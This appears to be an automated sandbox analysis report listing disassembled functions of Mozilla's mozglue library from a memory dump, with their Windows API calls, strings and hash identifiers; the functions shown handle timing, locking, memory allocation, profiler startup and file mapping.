Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 60cabb7ad6c14c3b70bd738258bea1d95387a50c65882541aaf77031ba3f8529
Instruction ID: 3b59c5af3c823e3b50706e3ed5d3e5ea28f05954b5ceaace4242cf62046ecbf4
Opcode Fuzzy Hash: 60cabb7ad6c14c3b70bd738258bea1d95387a50c65882541aaf77031ba3f8529
Instruction Fuzzy Hash: 4A51DC71A09311AFDB15CF25C884A9ABBF4BF89714F50492DF89987740D770E818CBAA

Function 6C64D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C64D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D918
GetCurrentThreadId.KERNEL32 ref: 6C64D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D970
GetCurrentThreadId.KERNEL32 ref: 6C64D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C64DA2E
GetCurrentThreadId.KERNEL32 ref: 6C64DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C64DA91

Part of subcall function 6C615C50: GetTickCount64.KERNEL32 ref: 6C615D40
Part of subcall function 6C615C50: EnterCriticalSection.KERNEL32(6C67F688), ref: 6C615D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64DAB7

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 00098ac525929d5a186ae14f8983e2d104d82586d8dbf94270dbb94cfd1e065f
Instruction ID: 62dd1001385ad40986d074f1d97e5afa8795514cb9b1c24ee3e2c967b0e7d7d0
Opcode Fuzzy Hash: 00098ac525929d5a186ae14f8983e2d104d82586d8dbf94270dbb94cfd1e065f
Instruction Fuzzy Hash: 2271AE35A043049FCB04CF29C488B9ABBF5FF89354F14C96DE85A9B301DB30A945CBA9

Function 6C605E60 Relevance: 21.2, APIs: 14, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C605E9D

Part of subcall function 6C615B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6156EE,?,00000001), ref: 6C615B85
Part of subcall function 6C615B50: EnterCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615B90
Part of subcall function 6C615B50: LeaveCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615BD8
Part of subcall function 6C615B50: GetTickCount64.KERNEL32 ref: 6C615BE4

GetCurrentThreadId.KERNEL32 ref: 6C605EAB
GetCurrentThreadId.KERNEL32 ref: 6C605EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C605ECF
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C606017

Part of subcall function 6C5F4310: moz_xmalloc.MOZGLUE(00000010,?,6C5F42D2), ref: 6C5F436A
Part of subcall function 6C5F4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5F42D2), ref: 6C5F4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C605F47
GetCurrentProcess.KERNEL32 ref: 6C605F53
GetCurrentThread.KERNEL32 ref: 6C605F5C
GetCurrentProcess.KERNEL32 ref: 6C605F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C605F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C605F27

Part of subcall function 6C60CA10: mozalloc_abort.MOZGLUE(?), ref: 6C60CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C63F968), ref: 6C605E8C

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C63F968), ref: 6C60605D
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C63F968), ref: 6C6060CC

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID:
API String ID: 3711609982-0
Opcode ID: f200d850b7d29d7de3cf2f947fdd0c7f004d41f1f9b8374d70bc618690beef7b
Instruction ID: 666297e426894840647b3c66ac84b57ef744790127fb6df2a97abcd6a31446aa
Opcode Fuzzy Hash: f200d850b7d29d7de3cf2f947fdd0c7f004d41f1f9b8374d70bc618690beef7b
Instruction Fuzzy Hash: F171C3B06047409FD705DF29C580A5ABBF0FF86304F144D6DE98687B52D770E888CBAA

Function 6C64D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C64D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D52A
GetCurrentThreadId.KERNEL32 ref: 6C64D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D55F
free.MOZGLUE(00000000), ref: 6C64D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C64D5D3
GetCurrentThreadId.KERNEL32 ref: 6C64D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D652
GetCurrentThreadId.KERNEL32 ref: 6C64D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D6A2

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3ba357027828fc4dec42640d2c6027c521435f4f5fbe5ad94031a8b2c6514ae5
Instruction ID: 633805efc5bdbbe2b8dbff76e257ebfc89d05bb65b67578014522c426b361113
Opcode Fuzzy Hash: 3ba357027828fc4dec42640d2c6027c521435f4f5fbe5ad94031a8b2c6514ae5
Instruction Fuzzy Hash: 36518171A04705DFC704DF35C488A9ABBF4FF89358F108A2EE95A97710DB30A845CB99

Function 6C5F1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E784), ref: 6C5F1EC1
LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5F1EE1
EnterCriticalSection.KERNEL32(6C67E744), ref: 6C5F1F38
LeaveCriticalSection.KERNEL32(6C67E744), ref: 6C5F1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C5F1F83
LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5F1FC0
EnterCriticalSection.KERNEL32(6C67E784), ref: 6C5F1FE2
LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5F1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5F2019

Strings

MOZ_CRASH(), xrefs: 6C5F2000
Dgl, xrefs: 6C5F1F56
\gl, xrefs: 6C5F1F3E
Dgl, xrefs: 6C5F1F32

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dgl$Dgl$MOZ_CRASH()$\gl
API String ID: 2055633661-2153450823
Opcode ID: ea665810402d8767b38c497b7ceadf41bfcfa9b8e0a857b3c5521e6072f1eee1
Instruction ID: 4b022e8fdb771a7ea4bb959c3e9b58ba000a7b8b81b9edb75f68395a37b83734
Opcode Fuzzy Hash: ea665810402d8767b38c497b7ceadf41bfcfa9b8e0a857b3c5521e6072f1eee1
Instruction Fuzzy Hash: 2E41B0B1B003258FEB198F69CC89BAB36B5EB8A348F040825E91597744D7749809CFF9

Function 6C615670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6156D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6156E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6156F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C615744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6157BC
GetTickCount64.KERNEL32 ref: 6C6158CB
EnterCriticalSection.KERNEL32(6C67F688), ref: 6C6158F3
__aulldiv.LIBCMT ref: 6C615945
LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C6159B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C67F638,?,?,?,?), ref: 6C6159E9

Strings

MOZ_APP_RESTART, xrefs: 6C6156CC

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 48bce8020be300a619c4a5952b228a55fdbae598aa6c23568c9bca3f359ef8c4
Instruction ID: 3850860760da910e3a629795338b0ab7e0bd5e0f4f2d3ba60dc50a1c234ac8ae
Opcode Fuzzy Hash: 48bce8020be300a619c4a5952b228a55fdbae598aa6c23568c9bca3f359ef8c4
Instruction Fuzzy Hash: A3C15B31A0C3909FD70ADF29C480A6AF7F1BF8A715F158A1DE4C497661D730A885CB9B

Function 6C63EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63EC8C

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

GetCurrentThreadId.KERNEL32 ref: 6C63ECA1
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C63ECC5
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C63ED19
CloseHandle.KERNEL32(?), ref: 6C63ED28
free.MOZGLUE(00000000), ref: 6C63ED2F
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C63EC94

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: af6670be39e1b63734f5df177923f28b2b2c2ad2b1480ef93e2818d0fb67af6f
Instruction ID: 769621338309559f4d64e825abb8112c6cfcfe8c15599a2380479f7ecd9780d8
Opcode Fuzzy Hash: af6670be39e1b63734f5df177923f28b2b2c2ad2b1480ef93e2818d0fb67af6f
Instruction Fuzzy Hash: 6221E171600124ABDB029F25D848E9A3779FF8636CF206A10F91897742DB319C168BBE

Function 6C638ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C5FEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5FEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?), ref: 6C6391F4

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

Strings

marker-chart, xrefs: 6C63905E
timeline-memory, xrefs: 6C639088
data, xrefs: 6C6390E8
stack-chart, xrefs: 6C6390B2
marker-table, xrefs: 6C63906C
name, xrefs: 6C638F16
timeline-fileio, xrefs: 6C6390A4
timeline-ipc, xrefs: 6C639096
timeline-overview, xrefs: 6C63907A

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 356ec19499dff44296967a8925ffa3d6addcea9170ca9f095e3f197ba7d16364
Instruction ID: 2cc7f6010743ff8f711bcf3f2b2fe288926ebb0125e024eaa3ed800eeff082e1
Opcode Fuzzy Hash: 356ec19499dff44296967a8925ffa3d6addcea9170ca9f095e3f197ba7d16364
Instruction Fuzzy Hash: 95B1B5B1A012199BDB08CF55C891BEEBBB5AF85308F205419D405ABF80DB71DD45CFEA

Function 6C61C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C61C5A3
WideCharToMultiByte.KERNEL32 ref: 6C61C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C61C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C61CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C61CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61CAA5

Strings

0, xrefs: 6C61D30A
(null), xrefs: 6C61C596

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: dc521c88a4e1fed81890774e27c667b579b986c2e5a8a4c8744cbe47138521f0
Instruction ID: 7ae85a2c8739f84f023e86383c237ad8656bc47b5226b23e39b4240eb800a0c2
Opcode Fuzzy Hash: dc521c88a4e1fed81890774e27c667b579b986c2e5a8a4c8744cbe47138521f0
Instruction Fuzzy Hash: 50A1AE3020D381AFDB01DF2DC58475EBBE1AF8A759F04882CE98AD3A51D731D805CB9A

Function 6C61C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C61C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C61C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C61C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61C891

Strings

inf, xrefs: 6C61C78F
NAN, xrefs: 6C61C7AD
nan, xrefs: 6C61C7A8
INF, xrefs: 6C61C794

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 698ec120948c11d366ababf9c015c180e0932e164d67185484b42b961551ac3c
Instruction ID: dd3964754dd3dcc148bb5f730ddf7fc3e712800a9b45f28b5a82b257150f5721
Opcode Fuzzy Hash: 698ec120948c11d366ababf9c015c180e0932e164d67185484b42b961551ac3c
Instruction Fuzzy Hash: 42517F7090C7809BD705AF2DC48129EBBF0BF8A319F004A2DE9D5A7A50E771D9858B56

Function 6C5F3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C5F3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C5F34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C5F34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5F350E
__Init_thread_footer.LIBCMT ref: 6C5F3522
__aulldiv.LIBCMT ref: 6C5F3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C5F357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C5F3592

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

Strings

kernel32.dll, xrefs: 6C5F34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C5F3508

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 1ab0099d31390b4a6a129f870565ee8d1cb834c985a8abad2ac959bf35eb3361
Instruction ID: 698188b38662887edcabd2c7770091edaab3b5deda3608bac8da3cad4710d6b7
Opcode Fuzzy Hash: 1ab0099d31390b4a6a129f870565ee8d1cb834c985a8abad2ac959bf35eb3361
Instruction Fuzzy Hash: 6531A471B001159BDF09DFB6CC88EAA7775FB86304F100919E511A3750EB74A905CF7A

Function 6C5F4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C634843,?), ref: 6C5F45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C634843,?), ref: 6C5F468A
free.MOZGLUE(?,?,?,?,?,?,6C634843,?), ref: 6C5F46C9
free.MOZGLUE(?), ref: 6C5F46EF
free.MOZGLUE(?), ref: 6C5F4712
free.MOZGLUE(?), ref: 6C5F4735
free.MOZGLUE(?), ref: 6C5F4758
free.MOZGLUE(?), ref: 6C5F477B
free.MOZGLUE(?), ref: 6C5F479E

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 954f1c65973f03cf4a2a583f18487acef320d37f8f4f14b659f551f82bf68783
Instruction ID: 864d6404275baeefa0c708da6564f6461580872a9e853372b1f13aff3f714694
Opcode Fuzzy Hash: 954f1c65973f03cf4a2a583f18487acef320d37f8f4f14b659f551f82bf68783
Instruction Fuzzy Hash: 70B1F671A051548FDB1CDE7CCE9076D77B2AF42328F184628E836DBB96E73098428F91

Function 6C65AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C65AC52
CreateFileMappingW.KERNEL32 ref: 6C65AC7D
GetSystemInfo.KERNEL32 ref: 6C65AC98
MapViewOfFile.KERNEL32 ref: 6C65ACB0
GetSystemInfo.KERNEL32 ref: 6C65ACCD
MapViewOfFile.KERNEL32 ref: 6C65AD05
UnmapViewOfFile.KERNEL32 ref: 6C65AD1C
CloseHandle.KERNEL32 ref: 6C65AD28
UnmapViewOfFile.KERNEL32 ref: 6C65AD37
CloseHandle.KERNEL32 ref: 6C65AD43
CloseHandle.KERNEL32 ref: 6C65AD67

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
